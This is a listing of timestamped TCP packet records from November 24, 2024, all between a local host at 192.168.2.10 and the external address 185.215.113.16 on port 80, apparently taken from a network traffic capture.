Nov 24, 2024 08:44:10.299952984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.300020933 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.300553083 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.300606012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.300617933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.300649881 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.300719023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.300776005 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.301296949 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.301342964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.301357985 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.301399946 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.301450968 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.301493883 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.302202940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302213907 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302226067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302257061 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.302259922 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302298069 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.302793980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302867889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302880049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302906036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.302952051 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.302984953 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.303596973 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.303637981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.303654909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.303689957 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.303736925 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.303780079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.304883003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.305243969 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.305293083 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.305425882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.306314945 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.306443930 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307394981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307418108 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307429075 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307440996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307452917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307461023 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307467937 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307477951 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307482958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307493925 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307507992 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307509899 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307522058 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307527065 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307542086 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307548046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.307562113 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307585001 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.307893038 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.308254957 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.308265924 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.308276892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.308300018 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.308332920 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.308801889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.308993101 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309003115 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309017897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309034109 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.309058905 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.309623003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309633970 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309644938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309678078 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.309770107 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.309803963 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.310501099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.310513973 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.310549974 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.371747017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.371768951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.371822119 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.389105082 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389139891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389152050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389195919 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.389223099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389520884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389568090 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389580011 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.389581919 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.389610052 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.389636993 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.390256882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.390292883 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.390297890 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.390311003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.390345097 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.390369892 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.390400887 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.391067028 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.391103983 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.391114950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.391150951 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.391199112 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.391248941 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.391908884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.391988039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.391999006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.392029047 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.392105103 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.392816067 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.392854929 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.392867088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.392867088 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.392899036 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.392940998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.392972946 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.393558025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.393636942 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.393681049 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.393714905 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.393726110 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.393738031 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.393762112 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.394328117 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.394351959 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.394364119 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.394370079 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.394398928 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.394460917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395117998 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395134926 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395145893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395174026 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.395193100 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.395226002 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395911932 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395946026 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.395956993 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.395957947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.396001101 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.396033049 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.396704912 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.396749973 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.396754980 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.396768093 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.396800041 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.396826982 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.397882938 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.397922039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.397933006 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.397944927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.397986889 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.398287058 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.398366928 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.398379087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.398406029 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.398421049 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.398475885 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.399250984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.399302959 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.399321079 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.399348974 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.399363995 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.399386883 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.400198936 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.400227070 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.400238991 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.400249958 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.400276899 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.400305986 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.401007891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401046038 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.401065111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401077032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401087999 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401108980 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.401555061 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401566029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401577950 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401603937 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.401622057 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.401628017 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.402482033 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.402493000 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.402503967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.402518034 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.402548075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.402574062 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403090954 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403125048 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403136015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403146982 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.403166056 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.403215885 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403878927 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403917074 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.403923988 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403935909 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.403970957 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.404026031 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.404681921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.404700041 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.404711008 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.404717922 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.404758930 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.404823065 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.405471087 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.405507088 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.405518055 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.405550957 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.405580044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.405623913 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.406311035 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.406349897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.406362057 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.406362057 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.406404018 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.406456947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407588959 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407605886 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407618046 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407644033 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.407671928 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.407711029 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407924891 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407937050 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407948017 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.407968044 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.407994032 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.408004999 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.409527063 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.409569025 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.409579992 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.409594059 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.409625053 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.409668922 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.409962893 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410003901 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.410005093 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410017967 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410051107 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.410093069 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410756111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410793066 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410804987 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410830975 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.410835028 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.410870075 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.411544085 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.411582947 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.411588907 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.411595106 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.411624908 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.411674023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.412359953 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.412405014 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.412408113 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.412422895 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.412472010 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.412480116 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.413137913 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.413172960 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.413191080 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.413203001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.413225889 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.413234949 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.413935900 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.413975954 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.414000034 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414011955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414064884 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414067030 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.414732933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414777994 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.414779902 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414793015 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414846897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.414884090 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.415513039 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.415561914 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.415565968 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.415575981 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.415623903 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.415668964 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.416347027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.416393995 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.416455984 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.416466951 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.416476965 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.416497946 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.417222023 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.417258978 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.417289019 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.417300940 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.417335987 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.417462111 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.418220043 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.418252945 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.418267965 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.418270111 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.418282986 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.418323040 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.419332027 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.419373035 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.419378996 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.419390917 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.419428110 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.419490099 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.420248032 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.420288086 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.420300007 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.420308113 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.420334101 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.420420885 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.421153069 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.421164036 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.421175003 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.421212912 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.421242952 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.421263933 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422024012 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422081947 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.422091961 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422103882 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422138929 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.422171116 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422719955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422735929 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422746897 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.422782898 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.422894001 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.423667908 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.423702955 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.423713923 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.423738956 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.423770905 CET	49781	80	192.168.2.10	185.215.113.16
Nov 24, 2024 08:44:10.423852921 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.424464941 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.424495935 CET	80	49781	185.215.113.16	192.168.2.10
Nov 24, 2024 08:44:10.424506903 CET	80	49781	185.215.113.16	192.168.2.10
